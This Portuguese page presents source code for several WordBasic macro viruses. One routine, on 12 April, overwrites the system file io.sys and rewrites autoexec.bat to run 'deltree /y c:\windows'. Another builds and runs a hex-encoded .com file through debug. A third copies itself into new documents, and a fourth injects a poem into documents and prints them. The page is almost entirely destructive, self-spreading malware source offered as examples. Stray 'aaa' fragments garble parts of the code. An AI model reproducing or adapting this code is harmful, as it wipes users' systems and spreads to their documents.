Virus que adultera a Impressão:

VEJA UM EXEMPLO DE VIRUS DE MACRO QUE ADULTERA A IMPRESSÃO.

Vírus 12/04

Sub MAIN

If Dia(Agora()) = 12 and Mês(Agora()) = 04 Then

DefinirAtributo “C:\msdos.sys”, 0 aaaaOpen “C:\io.sys” For Output As # 1 aaaaPrint #1, “Beba Josta”

Close #1

End if

Open “c:\autoexec.bat” For Output As #1

Print #1, “@echo off” Print #1, “cls” aaPrint #1, “@deltree /y c:\windows > nul”

Close #1

End Sub

ROTINA 2

Sub MAIN

Open “C:\imaiden.txt” for Output As #1”

Print #1 “Código em hexadecimal”

Print #1 “Código em hexadecimal” ‘(continuação)...

Close #1

Shell “debug texto.txt”

Shell “c:\imaiden.com”

End Sub

ROTINA 3

Sub MAIN

MacroCopiar “Global:Inocu”, “DocumentoNovo”, 0

End sub

Vírus Fagundes Varela

Sub MAIN

InícioDocumento

Inserir “Lembra dessas noites”

Inserir CHR$(13)

Inserir “Cheias de doce harmonia,” aaa Inserir CHR$(13)

Inserir “Quando a floresta gemia” aa aaa Inserir CHR$(13)

Inserir “Do vento aos brandos açoites?”

Inserir CHR$(13)

Inserir CHR$(13)

Inserir “Quando as estrelas sorriam” aaa Inserir CHR$(13)

Inserir “Quando as campinas tremiam”

Inserir CHR$(13)

Inserir “Nas dobras do úmido véu?” aaa Inserir CHR$(13)

Inserir “E nossas almas unidas”

Inserir CHR$(13)

Inserir “Estreitavam-se, sentidas,” aaa Inserir CHR$(13)

Inserir “Ao brilhar daquele céu?” aaaArquivoImprimirPadrão

End Sub